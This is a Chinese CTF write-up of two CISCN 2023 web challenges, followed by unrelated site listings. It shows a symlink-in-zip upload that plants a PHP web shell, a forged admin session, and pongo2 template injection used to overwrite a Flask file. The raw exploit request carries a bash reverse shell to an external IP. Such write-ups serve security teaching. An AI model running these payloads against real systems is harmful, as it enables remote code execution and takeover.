CISCN 2023 初赛

Web

unzip

文件上传页面

在这里插入图片描述

upload.php页面源码显示了出来

<?php
error_reporting(0);
highlight_file(__FILE__);$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};//only this!

可以看到,upload.php判断我们上传的文件必须是zip文件,然后会对其进行解压

此题我们可以通过软链接的方式做题

但不能文件链接文件,因为它是在tmp目录下解压文件的。我们需要对目录进行软链接

首先

ln -s /var/www/html shell
此时当前目录下就会生成一个shell目录,指向/var/www/html目录
下面我们进行打压缩包
zip -y 321.zip shell
然后上传上去,上传上去之后,就会立马解压缩了,那么现在shell目录已经链接到/var/www/html,当shell目录里出现了文件的变动,都会相对应在/var/www/html发生操作接下来,我们创建一个shell文件夹,里面写一个shell.php
└─# mkdir shell
└─# cd shell
└─# cat shell.php
<?php system($_GET[0]);phpinfo();?>然后对shell.php进行正常压缩,注意压缩包的文件名为shell.zip,要与上面链接的目录名一样
└─# zip shell.zip shell/*
最后上传,访问shell页面

在这里插入图片描述

在这里插入图片描述

go_session

题目提供了附件

go_session_4c91af79780fc70a4d21b272ba3a371c.zip

下面我们分析源代码

main.go

给了两个路由admin和flask

package mainimport ("github.com/gin-gonic/gin""main/route"
)func main() {r := gin.Default()r.GET("/", route.Index)r.GET("/admin", route.Admin)r.GET("/flask", route.Flask)r.Run("0.0.0.0:80")
}

route.go

package routeimport ("github.com/flosch/pongo2/v6""github.com/gin-gonic/gin""github.com/gorilla/sessions""html""io""net/http""os"
)
//从环境变量中获取session_key,然后赋值给store
var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))func Index(c *gin.Context) {//获取请求中的session-namesession, err := store.Get(c.Request, "session-name")//如果没有获取到session-name,err不为nil,就会返回一个错误的http状态码if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}//如果session里面的name值为nil,进入下面的代码块if session.Values["name"] == nil {//设置name为guestsession.Values["name"] = "guest"//将name为guest的session保存到我们的请求头err = session.Save(c.Request, c.Writer)if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}}c.String(200, "Hello, guest")
}func Admin(c *gin.Context) {//获取session,判断session是否为空session, err := store.Get(c.Request, "session-name")if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}//判断session中的name,不等于admin就返回N0if session.Values["name"] != "admin" {http.Error(c.Writer, "N0", http.StatusInternalServerError)return}//获取一个为name的查询参数,参数值不存在就使用ssti,这里主要是获取用户输入的数据name := c.DefaultQuery("name", "ssti")//对用户输入的内容进行html转义,防止xssxssWaf := html.EscapeString(name)//使用pongo2模板引擎创建一个包含用户输入内容的字符串模板tpl, err := pongo2.FromString("Hello " + xssWaf + "!")if err != nil {panic(err)}//执行上面定义好的模板,将模板中的变量c替换为用户输入的内容out, err := tpl.Execute(pongo2.Context{"c": c})if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}//返回一个包含用户输入内容的html字符串c.String(200, out)
}func Flask(c *gin.Context) {//获取session,判断session是否为空session, err := store.Get(c.Request, "session-name")if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}//判断session中的name是否为nilif session.Values["name"] == nil {if err != nil {http.Error(c.Writer, "N0", http.StatusInternalServerError)return}}//向本地的5000端口发送一个HTTP请求加上用户输入的名字,如果没有输入就默认为guestresp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))if err != nil {return}//确保上面的函数执行完了,再关闭http请求defer resp.Body.Close()//读取http响应的内容,存储再boby变量中body, _ := io.ReadAll(resp.Body)//向用户返回一个包含本地服务响应内容的字符串c.String(200, string(body))
}

这题的话,好像是远程的环境变量里session_key根本就没有,为空的,所以我们只需要在本地运行这个环境,将guest改成admin,我们就可以得到admin的session了

session.Values["name"] = "admin"

得到session以后,访问admin

在这里插入图片描述

接下来传入参数name,这里存在pongo2模板注入漏洞

网上有关它的模板注入漏洞很少,直接翻官方文档

https://pkg.go.dev/github.com/flosch/pongo2

从中我发现了pongo2和Django的语法很类似

{{ pongo2.version }}

在这里插入图片描述

通过询问ai,得到如下结果

package mainimport ("fmt""github.com/flosch/pongo2""io/ioutil"
)func main() {// 读取/etc/passwd文件内容content, err := ioutil.ReadFile("/etc/passwd")if err != nil {panic(err)}// 创建一个Pongo2模板tpl := pongo2.Must(pongo2.FromString("{% include 'passwd' %}"))// 注册一个名为'passwd'的模板pongo2.RegisterTemplate("passwd", string(content))// 执行模板并获取输出out, err := tpl.Execute(nil)if err != nil {panic(err)}fmt.Println(out)
}

其中关键的代码就是

{% include 'passwd' %}
改成{% include '/etc/passwd' %}

我们在本地测试一下,先把html.EscapeString转义注释掉

在这里插入图片描述

成功可以文件包含了,但是还有去绕过html.EscapeString,这种html的转义基本上是无法绕过,只能通过别的方式传参进来

我们翻一翻go gin官方文档

https://pkg.go.dev/github.com/gin-gonic/gin@v1.9.0

为什么跑去翻这个了,注意看代码

下面是示例,是我本地的,有些地方可能被修改了,不用在意

在这里插入图片描述

官方文档如下:

在这里插入图片描述

但是这几个函数似乎都不行,都是必须要带有参数,直接问ai吧,go语言学的不深,男泵

在这里插入图片描述

给了我一丢丢启发,可以使用c.Request.UserAgent()

在这里插入图片描述

可以了,直接拿到远程来操作

在这里插入图片描述

成功读取,然后读取环境变量,得到flag
在这里插入图片描述

这里是非预期了,其实本地还有一个python环境,读取/app/server.py

在这里插入图片描述

这个python flask框架没啥洞,但是它debug是开着的,热部署,那我们就可以直接篡改server.py

接下来我们只要通过pongo2的模板注入,去篡改其文件内容就行了

第一步,写一个上传表单

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>文件上传表单</title>
</head>
<body><h1>文件上传表单</h1><form action="https://e12bf8ac-31cc-4191-b742-b8261494b8e3.challenge.ctf.show/admin" method="post" enctype="multipart/form-data"><label for="file">选择文件:</label><input type="file" id="file" name="file"><br><br><button type="submit">上传文件</button></form>
</body>
</html>

第二步,上传抓包该格式

GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.Request.UserAgent()),c.Request.Referer())}} HTTP/1.1
Host: e12bf8ac-31cc-4191-b742-b8261494b8e3.challenge.ctf.show
User-Agent: file
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------208503974923088219412672941459
Content-Length: 509
Origin: http://192.168.123.129
Referer: /app/server.py
Cookie: session-name=MTcxNTE1NDI4OHxEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0PXwbjRagxTzeo4IEdTsWK0nJVqLDhQuJrWVe8t0OrOXgcA==
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close-----------------------------208503974923088219412672941459
Content-Disposition: form-data; name="file"; filename="123.py"
Content-Type: text/plainfrom flask import Flask, request
import subprocess
app = Flask(__name__)@app.route('/')
def index():return subprocess.call("bash -c 'bash -i >& /dev/tcp/60.204.170.160/8989 0>&1'", shell=True)if __name__ == "__main__":app.run(host="127.0.0.1", port=5000, debug=True)
-----------------------------208503974923088219412672941459--

注意几个点

在这里插入图片描述

然后我们再去查看server.py内容

在这里插入图片描述

完美篡改,我们去访问flask路由

func Flask(c *gin.Context) {//获取session,判断session是否为空session, err := store.Get(c.Request, "session-name")if err != nil {http.Error(c.Writer, err.Error(), http.StatusInternalServerError)return}//判断session中的name是否为nilif session.Values["name"] == nil {if err != nil {http.Error(c.Writer, "N0", http.StatusInternalServerError)return}}//向本地的5000端口发送一个HTTP请求加上用户输入的名字,如果没有输入就默认为guestresp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))if err != nil {return}//确保上面的函数执行完了,再关闭http请求defer resp.Body.Close()//读取http响应的内容,存储再boby变量中body, _ := io.ReadAll(resp.Body)//向用户返回一个包含本地服务响应内容的字符串c.String(200, string(body))
}

注意:为什么name要传/,这是因为如果默认为guest,最后的拼接结果就是 http://127.0.0.1:5000/guest python没有guest这个路由,肯定就报错了

在这里插入图片描述

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/322697.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

中间件之异步通讯组件RabbitMQ进阶

这里我们必须尽可能确保MQ消息的可靠性&#xff0c;即&#xff1a;消息应该至少被消费者处理1次 那么问题来了&#xff1a; 我们该如何确保MQ消息的可靠性&#xff1f; 如果真的发送失败&#xff0c;有没有其它的兜底方案&#xff1f; 首先&#xff0c;我们一起分析一下消息…

文本批量操作技巧:内容查找不再繁琐,自动化批量移动至指定文件夹

在文本处理和信息管理的日常工作中&#xff0c;我们经常需要处理大量的文件和数据。面对这些海量的信息&#xff0c;如何快速而准确地查找特定的内容&#xff0c;并将它们批量移动至指定的文件夹&#xff0c;成为了一项关键的技能。本文将介绍办公提效工具一些实用的文本批量操…

企业车辆管理系统参考论文(论文 + 源码)

【免费】关于企业车辆管理系统.zip资源-CSDN文库https://download.csdn.net/download/JW_559/89282550 企业车辆管理系统 摘 要 随着经济的日益增长,车辆作为最重要的交通工具,在企事业单位中得以普及,单位的车辆数目已经远远不止简单的几辆,与此同时就产生了车辆资源的合理…

实践精益理念:精益生产培训助力企业持续增长

在日益激烈的市场竞争中&#xff0c;企业如何寻找持续增长的动力&#xff0c;提升整体创新能力和核心竞争力&#xff1f;张驰咨询通过多年来的深入研究和实践&#xff0c;结合众多企业的实际情况&#xff0c;带来了精益生产培训的全新视角。 在近期举办的一次精益生产培训中&am…

DDR4 SDRAM 和DDR5 SDRAM的区别

DDR4 SDRAM和DDR5 SDRAM作为两代内存技术,它们在多个方面展现出了显著的差异和改进,以下是对两者区别的详细介绍: 性能与频率 DDR4 SDRAM 的标准工作频率范围从1600MHz(DDR4-1600)到3200MHz(DDR4-3200),在非超频情况下。它的数据传输速率和带宽因此在该范围内。DDR5 S…

JavaScript手写专题——图片懒加载、滚动节流、防抖手写

图片懒加载场景&#xff1a;在一些图片量比较大的网站&#xff08;比如电商网站首页&#xff0c;或者团购网站、小游戏首页等&#xff09;&#xff0c;如果我们尝试在用户打开页面的时候&#xff0c;就把所有的图片资源加载完毕&#xff0c;那么很可能会造成白屏、卡顿等现象&a…

新手向的s2-046漏洞复现

一、前期准备 1.docker容器 作为第一次接触struts2漏洞类型的小白&#xff0c;第一步从搭建环境开始。首先我们需要准备一个服务器或者本地系统&#xff0c;我这里是使用本地的kali&#xff0c;kali里面需要有docker容器&#xff0c;docker容器的安装教程请自行搜索&#xff0c…

【C++】STL — List的接口讲解 +详细模拟实现

前言&#xff1a; 本章我们将学习STL中另一个重要的类模板list… list是可以在常数范围内在任意位置进行插入和删除的序列式容器&#xff0c;并且该容器可以前后双向迭代。list的底层是带头双向循环链表结构&#xff0c;双向链表中每个元素存储在互不相关的独立节点中&#xf…

Prompt提示词教程 | 提示工程指南 | 提示词示例 入门篇

在上一节中&#xff0c;我们介绍并给出了如何赋能大语言模型的基本示例。如果还没看而且是刚入门的同学建议看下&#xff0c;有个基本概念。 Prompt提示词教程 | 提示工程指南 | 提示工程简介https://blog.csdn.net/HRG520JN/article/details/138523705在本节中&#xff0c;我…

2024 GESP6级 编程第一题 游戏

题目描述 你有四个正整数 &#xff0c;并准备用它们玩一个简单的小游戏。 在一轮游戏操作中&#xff0c;你可以选择将 减去 &#xff0c;或是将 减去 。游戏将会进行多轮操作&#xff0c;直到当 时游戏结束。 你想知道游戏结束时有多少种不同的游戏操作序列。两种游戏操作…

为软件教学文档增加实践能力

为了更方便软件教学&#xff0c;我们在凌鲨(OpenLinkSaas)上增加了公共资源引用的功能。 目前可以被引用的公共资源: 微应用常用软件公共知识库Docker模板 引用公共资源 引用微应用 目前微应用包含了主流数据库&#xff0c;终端等工具&#xff0c;可以方便的进行各种相关实…

【前端】HTML基础(1)

文章目录 前言一、什么是前端二、HTML基础1、 HTML结构1.1 什么是HTML页面1.2 认识HTML标签1.3 HTML文件基本结构1.3 标签层次结构1.4 创建html文件1.5 快速生成代码框架 三、Emmet快捷键 前言 这篇博客仅仅是对HTML的基本结构进行了一些说明&#xff0c;关于HTML的更多讲解以及…

容联云孔淼:大模型落地与全域营销中台建设

近日&#xff0c;由金科创新社主办的2024区域性商业银行数智化转型研讨会顺利召开&#xff0c; 容联云产业数字云事业群副总经理、诸葛智能创始人孔淼受邀出席&#xff0c;并分享数智化转型实践经验。 他分享了容联云两大核心产品&#xff0c;“大模型应用容犀Copilot”在金融营…

Spring Security初探

url说明方法/login/oauth/authorize无登录态时跳转到/authentication/require&#xff0c;有登录态时跳转到/loginorg.springframework.security.oauth2.provider.endpoint.AuthorizationEndpoint#authorize/authentication/require自己写的用于重定向到登录页面的urlcn.merryy…

PowerDesigner16.7常用配置详解(不断更新)

1 快捷切换name和code 右击调整出按钮&#xff0c;点击按钮即可切换 点击即可切换name和code 2 同时显示name和code&#xff0c;并且显示Comment注释 双击任意一张表&#xff0c;点击columns&#xff0c;再筛选&#xff0c;选中comment后确认 补充好comment信息&#xff0c;…

牛客网刷题 | BC80 奇偶统计

目前主要分为三个专栏&#xff0c;后续还会添加&#xff1a; 专栏如下&#xff1a; C语言刷题解析 C语言系列文章 我的成长经历 感谢阅读&#xff01; 初来乍到&#xff0c;如有错误请指出&#xff0c;感谢&#xff01; 描述 任意输入一个正整数…

Linux Ubuntu 开机自启动浏览器

终端输入命令&#xff1a;gnome-session-properties 打开启动设置 如果提示&#xff1a;Command ‘gnome-session-properties’ not found, but can be installed with: apt install gnome-startup-applications 则执行&#xff1a;apt install gnome-startup-applications安装…

1688数据分析实操技巧||1688商品数据采集接口 数据分析

今天&#xff0c;聊一聊B2B平台的数据分析&#xff0c;以1688国内站为例。 1688平台数据接口 1688也属于阿里巴巴的体系&#xff0c;跟淘宝天猫运营很像&#xff0c;因此很多淘宝天猫的玩法调整后也适用于1688。数据分析也是如此。 在1688搞数据分析&#xff0c;搞数据化运营可…

逆向中webpack需要补充的模块很多怎么办

如下面这种典型的形式 进入i找到加载器 找到加载器所在函数r,在 return e[a].call(c.exports, c, c.exports, r),打上断点。 在控制台打印e,会发现它总共有的模块&#xff0c;这些模块需要我们在别的webpack中复制&#xff0c;有时很多&#xff0c;很麻烦。 我们可以注入代码在…

【PMP战报】2024.3.10 PMP考试成绩出炉

PMP成绩查询及电子版证书下载 https://mp.weixin.qq.com/s/HgWrZWjJ0cScEYs4w1b4iwPMP项目管理学习专栏https://blog.csdn.net/xmws_it/category_10954848.html?spm1001.2014.3001.5482 2024年3月中国大陆的认证考试已经顺利结束。 从2024年5月7日开始&#xff0c;大约一周内…